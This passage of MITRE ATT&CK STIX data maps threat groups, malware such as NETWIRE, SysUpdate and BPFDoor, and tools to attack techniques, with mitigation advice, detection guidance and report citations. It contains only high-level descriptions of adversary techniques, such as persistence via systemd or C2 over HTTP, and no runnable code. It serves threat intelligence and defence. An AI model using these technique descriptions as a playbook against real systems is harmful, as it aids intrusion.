2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99ea03d5-6c11-4f5e-9ab1-13ee0f4fca43","type":"relationship","created":"2020-02-25T18:49:52.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/articles/ssh-and-ssh-agent","description":"Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.","source_name":"Symantec SSH and ssh-agent"}],"modified":"2020-03-23T23:11:24.939Z","description":"Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99eab281-6555-4aee-9d83-0e97bb3262ef","type":"relationship","created":"2020-07-17T15:48:51.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:02.427Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can create a registry key using wdigest.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99ec87aa-5e07-4d47-8d29-6614850c88b5","type":"relationship","created":"2021-05-06T14:57:19.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-06T14:57:19.309Z","description":"(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99ef9825-e901-49fc-8d87-668ff60b52dc","type":"relationship","created":"2021-01-11T19:41:29.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-01-11T19:41:29.362Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can retrieve passwords from messaging and mail client applications.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--99f3e59e-6e6e-4602-83df-52de4cbf6abd","created":"2024-03-28T15:48:40.970Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:48:40.970Z","description":"Where possible, consider enforcing the use of container services in rootless mode to limit the possibility of privilege escalation or malicious effects on the host running the container.","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99f5f421-c462-472c-9aa8-29a4316c3f5e","type":"relationship","created":"2020-11-17T18:39:07.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-17T18:39:07.179Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has downloaded files onto a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--99fe6bfd-6199-4a9d-a18b-49c6f7be4074","created":"2024-09-23T16:34:34.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T16:34:56.694Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) uses the `utimes()` function to change the executable's timestamp.(Citation: Sandfly BPFDoor 2022) ","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a0137e5-82d0-4419-961a-9b0eb47b2d79","created":"2023-03-20T16:44:30.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T19:26:26.932Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can copy a script to the user owned `/usr/lib/systemd/system/` directory with a symlink mapped to a `root` owned directory, `/etc/ystem/system`, in the unit configuration file's `ExecStart` directive to establish persistence and elevate privileges.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}],"modified":"2020-03-17T00:01:24.095Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) connects to port 80 of a C2 server using Wininet API. Data is exchanged via HTTP POSTs.(Citation: Kaspersky Sofacy)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a2046a3-41c8-4d81-a812-63c66bcb3400","type":"relationship","created":"2019-03-04T17:12:37.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Linux Rabbit 2018","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}],"modified":"2019-07-26T20:18:44.811Z","description":"[Linux Rabbit](https://attack.mitre.org/software/S0362) sends the payload from the C2 server as an encoded URL parameter. (Citation: Anomali Linux Rabbit 2018)","relationship_type":"uses","source_ref":"malware--0efefea5-78da-4022-92bc-d726139e8883","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a20877d-8741-4d11-89c2-549ab3f8aed5","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a24e972-81d5-4cfc-81ed-3e7752e3b463","type":"relationship","created":"2020-03-12T19:17:03.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET TeleBots Oct 2018","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."},{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:55:36.307Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a255458-7c76-4705-98f1-e2602ebc7795","created":"2024-03-25T19:04:05.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T18:28:41.999Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has used drive-by downloads for initial infection, often using fake browser updates as a lure.(Citation: SocGholish-update)(Citation: SentinelOne SocGholish Infrastructure November 2022)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a29dd75-31b1-4385-beb9-e093851849f6","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2019-03-25T17:00:47.386Z","description":"(Citation: Proofpoint TA459 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","target_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a340fa8-70c5-4bf6-a8c2-6e28e3fc8b59","created":"2023-02-08T19:45:35.832Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T19:45:35.832Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to use RPC for lateral movement.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a35b72d-f238-4214-8bd1-91b768ab277b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","source_name":"Forcepoint Monsoon"}],"modified":"2019-07-11T13:53:06.147Z","description":"(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"malware--85b39628-204a-48d2-b377-ec368cbcb7ca","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a36085f-d0a9-41f2-a9cf-97e81c286ef2","type":"relationship","created":"2021-02-17T20:27:27.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:53:16.762Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) has used a Base64 key to decode its components.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a380085-30dd-4a57-bd52-f85acd584e43","type":"relationship","created":"2019-04-12T15:39:22.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2020-03-28T21:23:11.141Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has created a scheduled task to execute a .vbe file multiple times a day.(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a433652-118d-428e-8ff0-551543a062a7","type":"relationship","created":"2020-10-20T01:21:23.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:30:53.763Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a4500e9-b0b7-4955-b937-da25d065fb79","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor executed commands and arguments, such as requests for credentials and/or strings related to creating password prompts that may be malicious.(Citation: Spoofing credential dialogs)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Spoofing credential dialogs","description":"Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.","url":"https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/"}]},{"type":"relationship","id":"relationship--9a462c0e-a60e-4983-8839-1f0e41cc133a","created":"2022-09-27T17:51:34.895Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:51:34.895Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors proxied traffic through multiple infected systems.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9a4838fe-e9f1-4bdc-b723-8b75461f6ad0","created":"2022-04-16T17:45:54.045Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.","modified":"2022-04-16T17:45:54.045Z","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a49976f-d9bd-481e-a8b2-25cb1531dc75","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for changes made to files that may leverage Microsoft Office-based applications for persistence between startups.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9a513f75-f09b-4840-8654-521fa4ff59fa","created":"2020-06-23T22:35:10.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T15:09:43.901Z","description":"[Environmental Keying](https://attack.mitre.org/techniques/T1480/001) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised via confusion of keys by the adversary. Mitigation of this technique is also unlikely to be feasible within most contexts because there are no standard attributes from which an adversary may derive keys. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.","relationship_type":"mitigates","source_ref":"course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a5d5258-e0c3-4d73-9d5f-122ed3d7d920","type":"relationship","created":"2019-05-28T19:59:45.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Mar 2018","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}],"modified":"2020-03-17T01:19:25.373Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used HTTP for C2.(Citation: Proofpoint TA505 Mar 2018)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a5f9534-a2a4-402e-89bd-d014c2fba224","type":"relationship","created":"2019-04-23T20:46:57.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2019-04-29T21:19:35.027Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) executes a Python script to download its second stage.(Citation: CoinTicker 2019)","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e","type":"relationship","created":"2017-05-31T21:33:27.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-18T19:31:03.701Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has used a tool that can obtain info about local and global group users, power users, and administrators.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}],"modified":"2020-01-17T19:50:01.354Z","description":"The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects a running process list.(Citation: Sofacy Komplex 